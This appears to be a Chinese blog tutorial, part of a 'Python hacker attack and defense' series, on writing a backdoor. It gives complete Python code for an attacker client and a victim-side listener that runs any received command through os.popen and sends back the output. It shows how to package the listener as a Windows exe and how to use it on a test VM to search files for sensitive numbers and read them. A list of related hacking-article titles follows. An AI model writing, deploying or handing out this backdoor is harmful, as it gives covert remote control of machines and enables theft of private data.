前言

本篇文章讲解如何编写后门程序,并实践测试运行,通过后门程序查找文件。

后门基本概念

防火墙用于拦截用户从外部访问服务器。访问服务器的Telnet、FTP等服务只限允许的用户使用。防火墙并不会阻断用户从内部向外部的访问路径。虽然很难从外部侵入防火墙,但一旦成功,黑客就能轻松窃取敏感信息。后门技术用于绕过防火墙等安全设备,掌控服务器资源。安装于目标服务器的后门客户端会接收并运行来自后门服务器的命令,并将运行结果发送给后门服务器。
利用后门发动攻击时,最困难的是向目标系统安装后门客户端。通过网络直接上传文件并非易事,所以这种手段大多用于安全性较差的Web环境。

代码

后门攻击端

import socketip = "192.168.1.10"  # 对方服务器ip地址
port = 5555  # 对方服务器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 链接对方使用tcp协议 对象建立
s.connect((ip, port))  # 连接while True:data = input("请输入命令:")data = bytes(data, encoding="utf8")s.send(data)  # 发送数据给对方data2 = s.recv(1024)  # 接收返回的数据print(str(data2, encoding="utf8"))if data == b"q":breaks.close()

后门受攻击端


import socket
import osip = ""  # 空表示可连接所有主机
port = 5555  # 设置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 关闭后不需要保存状态可以立即开启
s.bind((ip, port))  # 对象s 开始绑定ip和端口
s.listen(10)  # 启动监听状态,设置队列中等待连接服务器的最大请求数10conn, addr = s.accept()  # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print(addr)  # 显示对方地址while True:data = conn.recv(1024)  # 接收对方字符串 #如果对方不发数据会卡住print(data)  # 打印对方发来的数据if data == b"q":breakdata = str(data, encoding="utf8")  # 将数据转换为字符串类型f = os.popen(data)  # 可以将命令的内容以读取的方式返回data2 = f.read()if data2 == "":conn.send(b"finish")else:conn.send(bytes(data2, encoding="utf8"))  # 发送命令运行结果conn.close()  # 断开连接
s.close()  # 关闭套结字

创建Windows可执行文件

由于并不是所有被攻击对象都安装python环境,所以需要把python程序封装成可执行文件,详见->将Python代码封装成exe文件。

在桌面所在路径运行命令,则生成的文件就在桌面,运行下面代码,将受控端(受攻击端)封装。

pyinstaller -F D:\应用程序\Python\Python代码\学习练习\后门受控端.py

测试

攻击端IP:192.168.1.5

受攻击端IP:192.168.1.10

(1)将刚才封装完成的exe文件(dist文件夹中)复制到Windows7虚拟机(受攻击端)中,双击运行,然后在攻击机中运行攻击端代码,这里我是在pycharm中运行。连接成功后,在pycharm输入命令dir,就可看到受控端exe文件所在路径下的所有文件和路径了。其中

表示文件夹。(命令要使用英文)(2)假设在受控端有文件中包含号码等敏感信息,我们可以输入如下命令findstr "号码" *.txt 查找当前路径下的所有txt后缀名的文件中是否包含“号码”字符,也可以用如下命令指定查找的文件夹。findstr -d:新建文件夹 "号码" *.txt
使用type命令打开文件,查看文件信息。type 新建文件夹\t2.txt


关注微信公众号:黑客帮,获取更多

Python黑客攻防(九)编写后门程序相关推荐

  1. python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...

    最近从图书馆借到一本书<Python黑客攻防入门>,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析. 希望有人来讨论. ...

  2. Python黑客攻防(八)密码破解攻击

    前言 进行黑客攻击通常需要做大量重复性工作.如果黑客直接通过浏览器攻击Web网站,就要不断手动修改输入值,并反复点击.但如果可以在应用程序内部访问Web网站并接收结果值,那么只需要使用简单的几行代码就 ...

  3. python是什么语言编写的程序称为_Python 学习(一)【Python语言简介-Python是什么】...

    Python是一种编程语言,它的名字来源于一个喜剧.也许最初设计Python这种语言的人并没有想到今天Python会在工业和科研上获得如此广泛的使用. Python是什么(转载自Primus) 著名的 ...

  4. python如何屏幕截图_Python编写屏幕截图程序方法

    正在编写的程序用的很多Windows下的操作,查了很多资料.看到剪切板的操作时,想起以前想要做的一个小程序,当时也没做,现在正好顺手写完. 功能:按printscreen键进行截图的时候,数据保存在剪 ...

  5. Python黑客攻防(十四)暴力破解FTP口令

    注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途. 参考:<Python绝技:运用Python成为顶级黑客>. 前言: 从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法.然 ...

  6. python源文件改写、编写一个程序,Python源文件改写.编写一个程序,读取一个Python源程序,将文件中所有除保留字外的小写字母换成大写字母...

    程序代码如下: importkeyword. s=keyword.kwlist. #建立保留字列表. n=input("输入一个文件名:"). f=open(n,"r&q ...

  7. Python黑客攻防(一)屏幕窃取

    注:本篇文章仅供学习交流,请勿用于非法用途 ,否则后果自负.首发于微信公众号:黑客帮,大神勿喷. 原理:使用SMTP协议及截图函数完成屏幕截取并自动发送到指定邮箱. 步骤: 1.邮箱开启SMTP服务, ...

  8. 编写一个程序、读取一个python源程序文件_编写一个程序,读取一个python源文件,将文件中所有除保留字外的小写字母换成大写字母,生成后的文件要能被python解释器正确执行。...

    [简答题]完成教材第4章 实训2 实训3 课后习题中的操作题3,4,5 请提交代码截图和效果截图 [单选题]病毒不包括以下成分 [填空题]酵母菌的繁殖方式主要是 . [判断题]在观察显微镜时,要遵循由 ...

  9. Python黑客攻防入门

    点击打开链接 阿里云学生机1年114元限时活动(24岁以下都可以购买)https://promotion.aliyun.com/ntms/act/campus2018.html?userCode=a6 ...

  10. python实用黑客脚本_Python黑客攻防(十六)编写Dos脚本,进行容易攻击演示

    注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途.转载须标明出处. 欢迎关注微信公众号:黑客帮 获取更多干货. Dos攻击简介 DOS:中文名称是拒绝服务,一切能引起DOS行为的攻击都被称为D ...

最新文章

  1. 为什么Rust连续4年获“最受喜爱编程语言”?
  2. java gui 颜色从html_Java GUI显示网页并返回HTML
  3. 计算机启动过程详解二
  4. 手写自己的MyBatis框架-语句执行处理
  5. Spring Bean 作用域之间的区别?
  6. jenkins 发送邮件模板
  7. RCC 2017 Qual 1 Mail.Ru, April 2, 2017 Problem B. Painting the Wall
  8. 12345组成三个不重复数java,求大神帮忙!五子棋!只能识别按顺序识别!例如 12345 不能...
  9. .Net下的XML序列化(一)
  10. jmeter404_jmeter压力测试报告
  11. 数据库系统工程师考点笔记
  12. 泛微E8调整附件大小和属性
  13. 计算机专业毕业了,还要不要参加培训班
  14. Galaxy Note20 Ultra 开发者选项
  15. 「操作系统」深入理解死锁(什么是死锁?死锁形成条件?如何避免死锁?如何排查死锁?)
  16. Android Canvas 缩放(Scale)
  17. 2023 年 10 大最佳技术职业 ,十大 IT 职业是什么?
  18. 期货ctp基础知识(合约,开仓,平仓,做多,做空,保证金,手续费)
  19. 【iOS开发-动画】iOS开发动画实现合集
  20. 电路中那些你知道而我不知道的小常识

热门文章

  1. p17.matplotlib:图中图
  2. tp5简单的图片上传
  3. 中国Android应用商店汇总
  4. 三、面向对象(高琪java300集+java从入门到精通笔记)
  5. C++软件工程师的发展前景如何?
  6. 快速沃尔什变换学习笔记
  7. (附源码)springboot音乐播放小程序 毕业设计 031306
  8. 【解决U盘无法访问】
  9. Typora开始收费,替代品marktext
  10. Solr数据库连接之多表关联